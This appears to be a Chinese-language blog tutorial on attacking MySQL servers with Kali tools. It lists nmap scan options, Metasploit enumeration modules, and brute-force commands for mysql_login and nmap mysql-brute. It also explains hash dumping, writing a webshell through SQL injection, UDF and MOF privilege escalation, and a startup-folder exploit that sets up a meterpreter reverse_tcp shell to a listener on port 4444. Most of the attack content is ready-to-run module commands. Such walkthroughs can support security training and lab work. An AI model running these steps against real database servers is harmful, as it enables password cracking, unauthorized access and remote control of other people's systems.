• 【kali-漏洞利用】(3.4)Metasploit渗透攻击应用:MySQL渗透过程


    目录

    一、渗透攻击MySQL

    1.1、第一步:信息收集

    db_nmap扫描(内置、外置都可)

    Metasploit模块

    sqlmap

    1.2、第二步:获取服务器权限(爆破)

    MySQL 口令爆破

    哈希值爆破

    泄露的源码中寻找数据库密码

    向服务器写WebShell

    1.3、第三步:提权

    UDF提权(UDF提权)

    Mof提权

    MySQL启动项提权

    1.4、第四步:MySQL 0day 漏洞


    一、渗透攻击MySQL

    1.1、第一步:信息收集

    db_nmap扫描(内置、外置都可)

    1. 目标发现
    2. -iL #添加扫描ip列表文件
    3. -iR #随机选择目标
    4. #不用指定目标ip,nmap对全球的ip随机选择100个进行扫描
    5. --exclude #排除扫描

    1. 主机发现
    2. -sn #ping扫描,不扫描端口
    3. -Pn #完全扫描(穿透防火墙)
    4. -PS/PA/PU/PY[portlist] #协议扫描,TCP、SYN/ACK、UDP、SCTP ,基于上述协议扫描端口
    5. -PO[protocol list] #使用ip协议扫描
    6. -n/-R
    7. -n: #不进行nds解析
    8. -R: #对其进行反向解析
    9. --dns-servers #更换DNS服务器为得到不同的扫描结果
    10. --traceroute #路由追踪,等同于traceroute命令

    1. 端口发现
    2. -sS/sT/sA/sW/sM #基于TCP的端口发现(SYN全连接 ACK窗口 Maimon扫描)
    3. -sU #基于UPD协议的扫描,但是UDP的扫描的准确率并不高
    4. -sN/sF/sX #基于TCP的空/finish/xmas的扫描
    5. --scanflags #对TCP的扫描,是对tcpflags位的组合,可以自定义组合
    6. -sI #僵尸扫描
    7. -sY/sZ #基于SCTP协议(少用)
    8. -b #基于FTP的中继扫描

    1. 端口和扫描菜单
    2. -p #扫描特定类型端口/范围
    3. --exclude-ports #排除不需扫描的端口范围
    4. -F #快速扫描
    5. -r #按顺序扫描
    6. namp默认每次扫描中随机选择(常用端口的top n),-r会使namp按照从大到小的顺序进行

    1. 服务/版本探测
    2. -sV
    3. --version-intensity
    4. --version-trace
    5. 对扫描过程进行跟踪,显示扫描的具体过程

    Metasploit模块

    1. #获取MySQL相关信息
    2. auxiliary/admin/mysql/mysql_enum
    3. auxiliary/scanner/mysql/mysql_version
    4. #文件枚举和目录可写信息枚举
    5. auxiliary/scanner/mysql/mysql_file_enum
    6. auxiliary/scanner/mysql/mysql_writable_dirs

    sqlmap

    通过注入点利用,获取数据库相关信息

    1.2、第二步:获取服务器权限(爆破)

    如果目标服务器开启3389端口,并且允许远程访问,可以采取爆破MySQL用户密码,获取MySQL的权限

    MySQL 口令爆破

    爆破成功的几率很低几乎为零,除非管理员用的是弱口令。通过社工可以提高一定成功率,通过收集各种信息,例如姓名、社交平台账号/昵称、手机号、生日、伴侣姓名/生日、职业等信息,通过信息生成针对性的字典,利用该字典进行爆破

    1. 1、metasploit相关模块爆破
    2. use auxiliary/scanner/mysql/mysql_login
    3. set RHOSTS 192.168.x.x
    4. set pass_file /tmp/wordlists.txt # 设置字典
    5. set username root
    6. run

    1. 2、nmap扫描并破解
    2. nmap --script=mysql-brute.nse -p 3306
    3. 自定义账号、密码
    4. nmap --script=mysql-brute.nse userdb=/tmp/passdb.txt passdb=/tmp/pass.txt 192.168.1.13 -p 3306
    5. 检查mysql root空口令
    6. nmap --script=mysql-empty-password.nse

    哈希值爆破

    1. auxiliary/scanner/mysql/mysql_hashdump
    2. 导出在当前登陆用户权限下可以查看账户的密码hash

    泄露的源码中寻找数据库密码

    1. 网站的配置文件中大多含有数据库的连接配置,如数据库用户名、密码等配置信息
    2. eg:config  connect

    向服务器写WebShell

    1. 前提:存在sql注入漏洞、当前用户具有写入权限、目标网站Web物理路径、secure_file_priv 选项支持数据导出
    2. 高版本的MYSQL添加了secure_file_priv,对导出文件做了限制:
    3. 1、输出目录路径应该secure_file_priv值一致,才能导出。
    4. 2、若其值为空,则无限制。
    5. 3、值为 NULL 时,表示不允许导入或导出

    1.3、第三步:提权

    UDF提权(UDF提权)

    1. use exploit/multi/mysql/mysql_udf_payload
    2. set rhosts 192.168.x.x
    3. set username root
    4. set password root
    5. run
    6. MSF会将一个随机命名的UDF文件写入lib/plugin目录下(该目录不存在,则无法成功),该UDF文件中包含sys_exec()和sys_eval()这两个函数,但是默认只创建sys_exec()函数,该函数执行不会有回显。
    7. 可以手动引入 sys_eval() 函数,来执行有回显的命令
    8. create function sys_eval returns string soname 'guuHCUiK.dll';

    Mof提权

    exploit/windows/mysql/mysql_mof

    MySQL启动项提权

    1. use exploit/windows/mysql/mysql_start_up
    2. set payload windows/meterpreter/reverse_tcp
    3. set lhost 192.168.x.x
    4. set lport 4444
    5. set rhosts x.x.x.x
    6. set username root
    7. set password root
    8. set startup_folder xxx # 根据目标系统进行设置自启目录
    9. run

    1.4、第四步:MySQL 0day 漏洞

    网上查询了去利用

  • 相关阅读:
    JWT安全WebGoat实战与预编译CASE注入
    前端性能优化方法与实战05 指标采集:白屏、卡顿、网络环境指标采集方法
    QT 实现服务器客户端搭建
    学习 Python 之 Pandas库
    懒汉单例设计模式与饿汉单例设计模式
    论文阅读 - Outlier detection in social networks leveraging community structure
    Linux(Centos)查看硬盘大小
    0201安装报错-hbase-大数据学习
    在Android Studio中,如何通过CMake 配置文件来实现多个动态依赖库的编译?
    MySql入门教程--MySQL数据库基础操作
  • 原文地址:https://blog.csdn.net/qq_53079406/article/details/126189385